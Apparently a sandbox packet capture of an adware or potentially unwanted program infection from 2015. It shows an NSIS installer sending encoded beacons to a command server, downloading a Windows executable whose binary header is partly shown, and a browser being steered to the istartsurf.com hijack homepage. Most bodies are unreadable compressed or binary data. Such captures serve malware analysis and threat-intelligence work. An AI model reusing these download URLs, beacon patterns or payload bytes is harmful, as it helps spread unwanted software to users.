HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Sat, 12 Sep 2015 01:03:20 GMT..Content-Type: text/html..Content-Length: 0..Connection: keep-alive..P3P: CP="Potato"..X-Cache: BYPASS..X-Server: Provided by Intermedia..X-Country: UA..Access-Control-Allow-Origin: *..Access-Control-Allow-Headers: X-Requested-With..Access-Control-Allow-Credentials: true..

GET /static/0053.urlshortener.js HTTP/1.1

Accept: */*

Referer: hXXp://goo.gl/MrqsDW

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: goo.gl

Connection: Keep-Alive

HTTP/1.1 200 OK

Expires: Sun, 11 Oct 2015 20:04:12 GMT

Date: Fri, 11 Sep 2015 20:04:12 GMT

Last-Modified: Thu, 10 Sep 2015 18:26:21 GMT

Content-Type: text/javascript

Content-Encoding: gzip

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Cache-Control: public, max-age=2592000

Content-Length: 26148

Age: 17944

............i{.8.0.=..Q;.T....3S ...M..Y.&..^.D.n..K....?........y.s.^31...I..H.|d..c>....__..t..n.w...?nv..............?...f.....6l.....}.....Q;.}..........c..?.X=.r.ov.7f..O..z^,...f37p~..p...X..?..2~0.y..y.].......vG.....\.....q?.#j.z-.l...div:..purlfj..zd.Q....2.~.:.....A.3...^.Tw.....4[.!"....f..x'.6LP..]...S..T._.M,h...4.C[.l...n.|.?..r......!..G..[.n.rG..v;!.Z........g.. .l..!K.....vy.F-H.C......=L.....o(....o#....mw.....%.Y........|.........rw.;..a.{.P9.....Q|]5...............Z.!a......p....y.;.r?1..g.=..=.>.=......{..V...:.0...a.N.y|0`........L ~...#@....`F.-...l..j.p.H^@D..c....>.". ,..C.=.b.^......eS..P....a.....`......#.1...,.wC`G........g...Ad...`.abA...M..V....Og.g.y~...6.k..Q.v.P.....m....!.Ez..C...E....AP.@4F...X.....a.vE.&dcA..M.!J.^>..c....K..-h.Jm....)$.v...Z..e$Eu......qBc...z.....S..n.H.!@R;..y... ..h.....,..:P.;..A0................0xm3=o...(WZ.}6uGf..f....9.Y...m.h9n..{a.Tovr.d.......dB?....<.;.L3..9..T_Y......f<...s.E.0.....x..*.....P....}4.{..3.%]Q.......Z<......e?..u'.....<'{.S=......k.u9..Of..@@..$..s..z..-....X-....f.&T'.l.sDM..e..f3.*C..D....z.g.v\..TMM...J x....X.A&....k2.:....B.......f.G.r...^L:d...L.[..3.8...,.......>U.MA]...kj....j.qF4t&..L..Y.l/.T.l...9.dc}.)........$......yj....h...g..g.v.\..Sw..` ......m....6:M6n...c6nIO.l.R...d.Ts....2.Vw0....f.......o[.s.fgss...{._r..z..gr.T............r.,......h......Xf...._.c..Z.....E......eb.........o N....Q|q.!....n..0.@...y..<F..........?$$vq.....'0.....$.....s..XNu?.|..2.X..Y. ...<...K/tS..n...sC.....l.

<<< skipped >>>

GET /mg?alpha=FHZwUDwjOkEFAyg9X3ozFTIjXTwUMHIhP2ARcxUlYycxNzFECm0iVhVHcV9rQGhoBTEUARxUDwEBJwQtB35KXU5sIWwfN0QFQzZrVi9y HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.plainsavingscenter.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Sat, 12 Sep 2015 01:03:02 GMT

Content-Length: 2004

mLpR9WvHhiSnIa/BbIk0j IV/WTNrQ7iIPyNB6V9luMR8SqEhgSRD4iANo9H1rBG4EbclC39O fVY80I4INBhli0 ka3Kbq5GbR8u ZEzi22yhTxdcjmV9wogrgn4iLenU pfNHUF9JZ360zomeRvl7 UsSQI V8zPxV jnIu0ukQbPtAeMzjLob7Cyy5WXIPKT3E/1x28xc3Di1xlnhJsKoWP98lIUFxFrYrF/5bJXwF/ULipl3pnrArgrtP9i6YOlW5OFH 2fA5lvieq36coljyN4sx1CcoxbJOqqMQb1l/aJOujCJkxPdVMa7IZ9ahvMH9VTb3EKod934X tvgf1rpEGz7W24MJz0Ta57uOY7iTyS5gL3c9vrYtg3q4FBvSnbt1H/fJuZE9BQ5KkJqnyR3wz1RMPeNaF42P9VtW/ErHmyQrTsAeM7mLoEpSL272/KOp60XeB1y pJlSD8jQelfZfqEfEqhIYEkQ IgDaQXdawRuBG3JQt/Tvn9UPwI9m6b6tMqvt/hQ6NpB6uaaeoO4kvi/oS8Unf4lGbYbCRD trjL5FozueggTXY8ukCKYozvIR/EuE3mmoa9fpfvg5xKl4hkWj60j7Z5 3G7Nr Kh 2D2d RXwJYTpVdUou8hB4j/PuEnxZImEFNZIhrNfqm7Wpl2iC4qIdrd8lrYS0Qb iD/pD7bpV7F/w/QkuX295GPOK4T3C db4s5BzTSMkQ30ZYL5S7IyiJMv0ljP6ketf5jwSLJC0IxqpG3R6Gb4Idi6P/9Ds RP9X fuQWja5rrY8Ivj9UP8WTVrQ7fOrKXBqtlx6hZpDGPkkOJU8ukDqYm1vkc8UTc3jWza8HpTbU2j7Z55xf/uw/7KYCmEuI09sJc A7IukXkZsrnFoN5jZ0Q7inavk 9P5GFPe9l2Kceh3 Z7Ea8Bd6dY7J8 u1d/G XsWipQeqqRqEtnLUDpWqC63vePMisCeFr0qMW3zSshwbJJtqyS7YdlZMC2BeQrhyveZGwRvlUzItgtX2Wtlb4Id66MedIvulArX/DogW1a6mmbIkwjrRdrTOSrUDAK7vGWaUP5Yhq8XLfhgDHXYjyX45jl 4L40jOiFObTt3iVPY63oNBhli0 ka3Ka zBbNnu RL9wyE/wnnc9/jWOUHn4oX7gvBvFq2LN/aQ8VUxr0YjWuZ UaqSd2QY s70fRA/C7ZunmTTKr9Rvtnl6MbrCL27HjZOo/YBuBuyOp30T69j0G9Ic 3TrZy358S10LFuhnhMJL9CONChN5qv3jX BKjOd qeLgBvapKvX/D50fyIvb bts8yKxF3Ezt2BaVea6FF 9llPlwuj2PmRLcU96UIZRjmvgL51T0oEyya8bpXu0byK1urEKo1H MM5C4BLRvuOZL9w6D5ALnb9/9X5t3/JIC6zLLlVy O9/MD8ZZxuRfpnKE QfkQsyqbqts0a4K9zjBszHnS6n6QLwTmKIetmuX4nLIMsisAfVrzeoYmzKtgBToNcr5B7U/kYUEnxfPsBygftam

<<< skipped >>>

GET /fp?alpha=IWgQTWZ9UHZaJwAiP2dpICxDQGYhNAY8JwZpQVk5ZzgeGXU3Qx04CiorC05GfWNkEB8hA3pLJ05zSBd4LCBsPBBOaFQgaQEyDk8lHjEyLgd+dQsZJzVsWDBuUwIQDH0hOElGYn0SED8IKyMKSip8dhUZHCYae0wlIG9BEXIyby8THSkXFQAiJSkDTiNZPHYqZXMlEQw4MX1DNnYFBAJeLjo8H0tjdgQTPBgnKBwdZm12RAgScw59SDJvM0xxKHtoMhRYXw4HAjgua1oXZAQ9JTMYBwAATnhjYEcxZ1YGFA94MWgPB24aWAZ+TXp+ATowdH8RbB8nA3hIJjtzMGUCJiBpPhBNd1FWZHJCd0BCVRplJGUxNiFDKAM= HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.plainsavingscenter.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Sat, 12 Sep 2015 01:03:06 GMT

Content-Length: 0

....

GET /ii?alpha=IWgQTWZZGi5rCEVmP2dpICxDQGYhNBxlawRQURkpfm1BTTI0VB1bVHJzUltULDhMRk1iCCcJcX8XFRxyJDxpUxBLdFBZfnA1A0gwXn4/YGkiJXlPbHQtRGMkQUVFAnklME1cZgUUDUoAJioRTzN+DQgRHCkWY09VPW9DFwEtTGpFF1k3FFxkZnILSjNcbXgjYH12HgI6NmhFMmVBUkdZCGVmQQI2PFRMZEp2PFgeYQ88Sn4XJwB+USY0bkEPdSE8bltHGjUuDjN9UWVebB4sL2MxbhNPQm5oKgYtdlQED10jYy8TGCUhVh1GUXBoUwhoKzoFf0N/SiEIZy0GIQEQZmI6GFMMMw0PMSwkQB1xHjE5fXRpZBMCOylvQzFmR0VHTTx+ahlLIyVHSysCMykSSyEiPUlJRHYTCxFzYTcCSWA8WDIUVBo+QjIkIXBTCypLNiAuYHUqFFw3fnsUd2teBg4OeiUvEQpudBQaO3spKAVBPwx0HWoQIhloD3tpYzdALGdoehlPEjRfJR4fSndeZwI1NS4QEBtobSxjKUhXGxBXUFpqQWAOHyYlSABCfFY6dBp1KW5hWkNnS2gPfzB4FE8jKTx6Bx1ONiVlOyEXFw== HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.plainsavingscenter.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Sat, 12 Sep 2015 01:03:06 GMT

Content-Length: 84

VxAh0D5dSmPUS0hzHKx/UV1jxCFTH2bdTF4cR4A QwQ/mikIMmT6DElAYIMsSFdz0FBdOAqOIAa2e4NRZ6YXHTTP/1.1 200 OK..Cache-Control: no-cache, no-store..Pragma: no-cache..Content-Type: text/plain; charset=utf-8..Expires: -1..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..SVR: SP003C2..X-Powered-By: ASP.NET..p3p: CP="CAO PSA OUR"..Date: Sat, 12 Sep 2015 01:03:06 GMT..Content-Length: 84..VxAh0D5dSmPUS0hzHKx/UV1jxCFTH2bdTF4cR4A QwQ/mikIMmT6DElAYIMsSFdz0FBdOAqOIAa2e4NRZ6YX....

POST /if?alpha=JGRYTDEgLCweWwQpd2Y+JSALQTEkOFRkPAFcGRh+e2EJTGUxWFVaA3d/GloDKTQERxpnBG8IJnobXR0lITAhUkdOeBhYKXU5S0lnW3J3YT4nKTFOO3EhDGJzREkNAy4gPAVdMQAYRUtXIyZZTmR7AUAQSywaK04COGMLFlYoQCJEQFwzSV1ULW0SFR0GPWpZajokPVo0djJVJmwUB14Yay83BFsxbxhcJF0uOERLZXhxXg8ZcUREDCw1O1xYZ31uZhlRHjNMInUqXkNPelh6LCszZmZbGGwwd1plbi5VCQNIQSNbGXA4WA03OH94EBUnO25NGk85QG8KZWchT0VlLEx9HwUVJUUGc2VfFxcwByNtMlsGaD5fMmQ0TnNoDVQLUj1kYEYZbS5GSDBPIzhFVGJ+cl0JDnFQcBcgbXJJQXR6IS5cRFRmDA90KWkQHmktOnl+aiUgTgUIbDhJZWVCaR5faXd2HUxqNxVcLAEkZkkDdik0UBBNOBM2TGVlMwQQJysxV0ZFQ2wSIT19SkRKY04kcXY+ECkCXjgkNVJtb19+JGFTUyNQBWkiFSxJMFhXUh4kdRQgXhxmRyYoKnomTEF7MUhQOVcyN1gEJwF6Fw8xWh0MTDFFCA== HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: install.plainsavingscenter.com

Content-Length: 78

Connection: Keep-Alive

Cache-Control: no-cache

alpha=JGRYTDF/czIJTRQ XShfEgcteBBHLwxcYAZXNnJSUUR4OXpwdDxvAmZKHRY3IxlOZFFgQA==

HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Sat, 12 Sep 2015 01:03:06 GMT

Content-Length: 41

{"status":"OK","url":null,"message":null}..

GET /MrqsDW HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: goo.gl

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

Date: Sat, 12 Sep 2015 01:03:16 GMT

Expires: Sat, 12 Sep 2015 01:03:16 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Content-Length: 2271

Server: GSE

...........X[o.8.~..`X.#!..lffwl.F'.n...I:.E...DIldR%i.F..>..b;.....4yn<7~.....g7..xA...{K>~......GQ...Y....7.?..'Qt...Z8W..h.X...P.<....7-...32qa.R:...).........G61.r.- .~r...>.9ov..{.L%Nj.....nI...GWH.:..<lV2y` b.$A.?..!).k.....O......s'.0..FN....n...M..n(3..a,..Y>..J."L.....k*...V.=....!...........A....G.5 .... >l.U.d.L.JD..q.......!.e.O.z.}h......8.Powb?...=...@.... {.{..)....s.stW-%H.....(...1.OoKxh.c.Q.?...l.......n._8.~i..$~.....4..h....m.g...?ct8.....0z..}.3L..}...".J...C..a.sq.........V...}.u./6MU..-g..~.....m../.:a./7.`c.1... .0..\?x...........U....>.T...EMM.{..p.`.8._fr.(.....a.....h...k.IRpc.c3....v2...F.....|J.Y...Y*.. .7h....KA>].%..6. .!..\.0/..dfEJ.eGZ....g..$1......2`.... .."....N..i@.B...m..rY.X...)TjC..IW.qo.Q..=..J....%...,.-@.%....M#.k....Qbm.kHM.....a.xG.....3S.Nu.....V.....{2>...$......:]....2.z...2...4...7&2H.......>*u.;....S........_Yt.{a.3Jx.....h2.0b*..y..?\6...ho..|.6...N....e..#!....d..>O2(l.=\..n...@.X._.H..J.J..:>o6...e......q....*....R....e...)66H.p...%ZG...2M.9.n..s...3....%8$..H......b...E...W)....k..^..:].n..."pk.C.......fz....b.K]B.....!7.L-....f...$g%.2....DQ....*...R.......F.....a.:.pP..V3-.i0.Sm...~.k..c=s....ZP.... .sQb.......Y.Y..v..s:&.Y9.j..mD]@2[.C......Ry.v.8.u..Wb..b.U.......Z..0$.[.Y....q%..(.. ....(.*Aw3......i..c.O.?4.s.K..Q..=...|K..Y~'ntl.7I........?Y`#^.Y...o...C.....hd."paoT...4.gW..~...........o..7........"n..b."...._..4 v...?..'..(....$.2.%`....&..-.m...s.J.../....-..i.:ID....',..,..x.@.9..|....2..f:n...@KM...6..O.

<<< skipped >>>

GET /static/0053.urlshortener.css HTTP/1.1

Accept: */*

Referer: hXXp://goo.gl/MrqsDW

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: goo.gl

Connection: Keep-Alive

HTTP/1.1 200 OK

Expires: Sun, 11 Oct 2015 15:36:57 GMT

Date: Fri, 11 Sep 2015 15:36:57 GMT

Last-Modified: Thu, 10 Sep 2015 18:26:21 GMT

Content-Type: text/css

Content-Encoding: gzip

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Content-Length: 1654

Server: GSE

Cache-Control: public, max-age=2592000

Age: 33979

...........XKo.6...W.0....V._....-..C/..z.(...P.J.y.......([y.-..8......7C......E.c..(\m.oB.9..WY..........m.|.y..|.eq.D.Z.*.....J......K[.g.......&%.GV.aR.<g.1.;...!)..r..?..)....B...f.(....fB..D..v...i.qJd..U$..}....4.......-H...|...(.Z.!hJR.6.i.D..h.-X..l.l...B.T....k.gybou.:..[Z&...o.O.....[.c... ...za.h.!...kZ....`.v._k...q.^...9.F5D....MI.p..T...niv..^..g.G*.....g.*.....S...MM2.P>IRw.....u....n.Y;..r!is....Z.........M.U.^..m.t...........,.@..@x..n..-.K....Q~%r....vP.q)=)%...."T...&.).|_I<#.F@IR...V...Nz........S>.k.XRi.A...A.bV.T25'l...P.."..]e%.E..8J.3..g.$.K.A......A...N......y.__.X..j..ZF.H<(;%.%......8....G..............?X&E#.*...j... ..(..'m...Ja\..>]........-...H/...dX..%pY..{.P...M......Y.,.^=!.(....~L.F.@......0o.N/....V..K..F.6..\.n.......i.....B.O.&....4.G...z.w.....?...#Kr.AV.....i....P.f.'.^*8....Ah.xf..Z..cPP.!.y.....]a.^.....O.Z..5'/@..A......`:.)...S3i.?g...A....v*.........h........5*.Ah:w.......q.tN~...:..N.s,..J.&..{.Z..`7..:...\.;q......g.d.a...... ....A*Y...2..`...ct.E....-:........c.pL.~."N*>.g..V<%.......vT.I-..n...rD......[.*....k...c&..6...R..F...5.F.Ny........02...#.|W...B<.I.H..Tb.:.AN!...X/.Gy.z.^~~...tg [.c...5..`.q.=4...R.ZE..&..Z...u3D..Td`..~.s..}.<....Z.....e......`Z*8..4.-......6r6.oI;..............#8DT...>.t2.n.~...T..q....]..q....z|=..5.....2...m..|.....e.r.!.....n.q....\.....w.m.Y....D..q..&v.......>.x......Vo]..?=5}.Z..Q..E...r.D.8{Et.Y..........LO..wJ.H5..e...%...Qn..Sbte.9...r.n].e.K..7......s^/...f.....9x..FS.-9...I.B...P.... JI..8

<<< skipped >>>

GET /310714d/310714_a9.exe?token=DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: 4threquest.me

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Sat, 12 Sep 2015 01:01:01 GMT

Content-Type: application/force-download

Connection: keep-alive

X-Powered-By: PHP/5.4.30

Content-Length: 327816

Content-Description: File Transfer

Content-Disposition: attachment; filename="310714_a9.exe"

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

X-Cache: BYPASS

CC: UA

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Fz..Fz..Fz......Xz.......z.......z..O.M.Ez..Fz...z..H...Lz..H...Gz..H...Gz..FzI.Gz..H...Gz..RichFz..........................PE..L...8M.U............................t.............@..........................0.......9..............................p...........(.... ..................................................................@............................................text............................... ..`.rdata.. ...........................@..@.data....F.......&..................@....rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................U..V....J...E..t.V..T.......^]....................J.............U..j.h..B.d.....P.... .D.3..E.VWP.E.d........}.j..u...D...E......F......F...F......F..3..F.....f.F..F.f.F .F$.F(.F,.F0.E....u(.E.P.M..E..wC...I..h..D..E.P.E.x C...z..WV..A........M.d......Y_^.M.3..&I....]....V..V..A...F,.....t.P.kQ......F,.....F$..t.P.TQ......F$.....F...t.P.=Q......F......F...t.P.&Q......F......F...t.P..Q......F......F...t.P..P......F.......^..C....U..V.u.....I....x C...^]........U...E..V..... C.t.V.MR.......^].

<<< skipped >>>

GET /s/opensans/v13/4fu8RBPDDCYpod03lr_bYQ.eot HTTP/1.1

Accept: */*

Referer: hXXp://goo.gl/MrqsDW

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: fonts.gstatic.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Type: font/eot

Last-Modified: Mon, 27 Apr 2015 23:46:15 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

Date: Fri, 11 Sep 2015 09:24:50 GMT

Expires: Sat, 10 Sep 2016 09:24:50 GMT

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 83867

X-XSS-Protection: 1; mode=block

Age: 56307

Cache-Control: public, max-age=31536000

......n...t.UP.N..w.....w. .....;...]..;......\..........=5.U...y..._........[...............I@.........1............._..(.....*...%.......?w......c..O.....?B......wj.p.?i.............Q.........y..\@cn......}.I[s.H.?Z..bng.x...D..`.!n.@Wl..2#..x...Vcb....nrp_.,x...AY?T=.r....6c2m...s...]..j].y8.y.8E.;Q.......#O.k..A.}...iy2&.P.=.<..t|..u.;..d.......VnE..z....,* .hW..3Y..v...>.j..bmt..mOEL.U-c.G./.U....T%..q|X1.7..}.......T;YLiF...5..._.....{'.,..-E......C....._..:B...[q...b'....m4P|...o@.~..'.I..".g)VW....9.K.."..@cx. ....X..A....N....{.yWf@.T.._*w.........`...<..1c./.w..W.8...........p......K....e........*~n[._K..............'........# `{qKI....f .W.K....C..[d..DB........P.{.l.]...Dw......'...#W@........>..R......m.......T ...z#..r...>....0[.zd.P.-k...}..............uu..d.=.Y........#.r......aM*r1.WI.H.t..#.....j..O..\...M..]ah..L...b...^f7......[....K.}..P4t...j0.#.9.*.=.6..c......8.V..?...K.......:.|....E.D.x...S.@44y..z/.A..=.;...:...#h.....U...~........o[.V...l&..E.....c.K..Q..(.../v.k...mL.*/.v..?..7Y.$]........K8 ..<...9...r..\..Ho....I..0.{.....e......}..9Q|R.......N.em........~..Ag..Ti^...q......#..,..z[{.yN..g0_8M._..F"5F.(...A..Au...3&.H......J._/.....L..r.Z..p...(\.S......"s.....Z.....*...dJ"...m.<....d).....go.....N.".......J6n.e......!.9D......{.{].......1......D.i....-.&JN.A2[.H....b.r...3e...g.i7 .r]..Dj..z..n.X R...%..0k..,ZF...o.X.....bf...0..l..n.....c.6t#....=..\..E..m...\......x..st.=..a.p.R.,`.....LG....k..'......o.*b}%.gG.Y...V5"E... !W~...QPq>......g....1..B...B..

<<< skipped >>>

GET /?type=hp&ts=1442019795&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001 HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.istartsurf.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine/1.2.2

Date: Sat, 12 Sep 2015 01:00:35 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.3.14

Set-Cookie: uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001; expires=Sun, 11-Sep-2016 01:00:35 GMT; path=/; domain=.istartsurf.com

Set-Cookie: from=pcm; expires=Sun, 11-Sep-2016 01:00:35 GMT; path=/; domain=.istartsurf.com

Set-Cookie: nation=ua; expires=Sun, 11-Sep-2016 01:00:35 GMT; path=/; domain=.istartsurf.com

Set-Cookie: language=en; expires=Sun, 11-Sep-2016 01:00:35 GMT; path=/; domain=.istartsurf.com

Last-Modified: Fri, 11 Sep 2015 09:16:41 GMT

Etag: fc57695ad5cc310e7e214eade3785360

Pragma: public

Cache-Control: max-age=172800

Expires: Mon, 14 Sep 2015 01:00:35 GMT

Content-Encoding: gzip

8ab.............XY....~7...!.s. R....2|-.....:....Zd.....a7G...v..}X Oy.......`.. ..TuS.53.N..C.................O~..!.U..{.K&q.H...J..g<....-..it:.g.4..2..{C*.Q4..r..0.....LQ..k.4.g.u_$.%..d.2.x.....(..u...L..\.j..Bq..>..[.<...3..xrB2...T....1e.0c#..m'....OJG.8.X...;g,.\$n....w...~.l.. Gz.O.Q.X..1=.f....A...^....'..g.%.9...._Q...H.lG.f4.E..{k'ac..*...k..(g.F..5.T6=...kv..yTy...-.....L.<..a...c..c.._.8.u.,....SE=...UY..L.4`..1..2...36......h)..W"4.Q&..4:B...PH..[;.[uv..........'...S/b...k..5.......E.O.1.Z.Z<...y.}&........k..9..?.....sK2.y!...V..y.wv..... r......2..h...."...C .....D...;...V.1<...W.,.JO..V..Y....$u...'...q.|.z.n..R......d..m...7o\.........4..ne...j.O.=...`ia.R...2c^D%..o.X$'l...0..V..... \.-2 .... $..........."..Y."............/.........=....K4.?......W..._.............@...4......[|.:.Y.... d@..c..i-.@.$.k.......KH.......,.C.=.,...XY. ....Z.DJ).|..#. ..F.k9...%...u..I.......x...`....UI.R(..\.e.........R.Yh.@kX.% ..c..4.....`.7.o.oK.C...q;....U....$~X.s..D*S..K...9..<..2.C..P.5..t..P!.u.G!.}.t.C=.^-.i....AM..<*..$..j<Q. .k..5].,.V .a@..q......{.=.....k...5...%.B.qY........... ...q....sEU...8y..w...L.{..(........b..*m.U.\(......xo`.DcV.....'6...V.a.dH.. .y...#...S..o.."...N..J..1..#pd.q.H.......%.. ...Ic.78.zl..5..Vk.`...7h......}..k.i.@...C...!...\....$..S\..}.1x..w.n.v.M.r....H.l=.@..y.AG..#..I!..A...Nw. L...e..V.....X.j...f .....2B.hD...\O...^.........~...x@>..|..n....k....Z.....8....V...k.._...]..ac......k. .zL'.HP .....\.O.4.%.7v<q.>..0...m7...m7;....?gn.p.&

<<< skipped >>>

GET /local/css/simple2.css?version=20150907a082400 HTTP/1.1

Accept: */*

Referer: hXXp://VVV.istartsurf.com/?type=hp&ts=1442019795&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.istartsurf.com

Connection: Keep-Alive

Cookie: uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001; from=pcm; nation=ua; language=en

HTTP/1.1 200 OK

Server: Tengine/1.2.2

Date: Sat, 12 Sep 2015 01:00:36 GMT

Content-Type: text/css

Last-Modified: Fri, 11 Sep 2015 09:16:41 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Mon, 12 Oct 2015 01:00:36 GMT

Cache-Control: max-age=2592000

Content-Encoding: gzip

b1a..............Yn...*.3...JV..wK?I<x...`..#..0...R,......}. ..r......"Q..8o&.`K,.U.b.6...W..O$[., ..d..mI.#IA.A......R.DdD$.&yy"....?..`.n.IyS.4gE.2A.vbUB..>.r<.. ".....$kH[.. is....j.$yu.......4~<5.\%.U...s..,\..WQ..S&.w....W..:Jy...~.]y...u...|..'&....V...&O/.....y.......[...Hw.{.b...V..H@.]...m.k...W..J.w.@.lJZ\....3|........l<...,\Z..*.......Y.y....`.P...,.$)..v.l.s..w..J.&.]p......W.'.3....c...`y....6i...T.).......%y[..5..a.....6?.E.^...dU$q.G.../.L........5..>q^. ....j..[_m.... X*...]Zp*Bl^..I...P..x........]M. .].].?.p.._....@.66l.`[..U....)....%,.-X.K. ..)pJ..x.?......T8..oX..|..?.............}(:..J.........*Ixc...k.>4....K...h..S]...]...Y.......,.x`%V... .^h<....p\.m...J.5~5...f....0c=.X...?n......A..e=...5@.tV.&o..a......N.\^.f.%x......!Oz7>....mg.&6~..5o....|.F..O...M.....,.......^..........3......t........>Cg........4.hQ,.G.(.a?.W....,.L.n....x.(......h.8e.z....F...H5.U4q......1X.vU/.....!d.t..........WS.......C..=......E..L. ...R..c.m.^..".....?8M....t.?0Qn..o3Y......1...`.T>..f..............W....'..8K.6 .,8.....3..;....\....M.pA.........Z._..v....M......k.h...Y...4.G.b..k.~h....).#.g%`...1............9..-....f4.s.W.`9><@.iNGz.l.D......I~n... .sy.f.# R..6{.9....^..>...'..}rU\..`..3.~..O..<...1..........8'.....:...oo.'2Z=..U.....6....}jX{....$=.W..@....x&...7N......G..N...M.!^.KI.x4i.'%8O...`,..)g.O!...b.ugY......X.@..RS............E......_.:s.n.....@..J.@.vJ....$..eu........P.3....1./...3..YZ.6.C.$s..>...A}|.........'..V7#..wqf.|.Z.6..O.fy%..^2...QT

<<< skipped >>>

GET /global/js/jquery.js?version=20150907a HTTP/1.1

Accept: */*

Referer: hXXp://VVV.istartsurf.com/?type=hp&ts=1442019795&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.istartsurf.com

Connection: Keep-Alive

Cookie: uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001; from=pcm; nation=ua; language=en; uid=773991338129

HTTP/1.1 200 OK

Server: Tengine/1.2.2

Date: Sat, 12 Sep 2015 01:00:36 GMT

Content-Type: application/x-javascript; charset=utf-8

Last-Modified: Fri, 11 Sep 2015 09:16:41 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Mon, 12 Oct 2015 01:00:36 GMT

Cache-Control: max-age=2592000

Content-Encoding: gzip

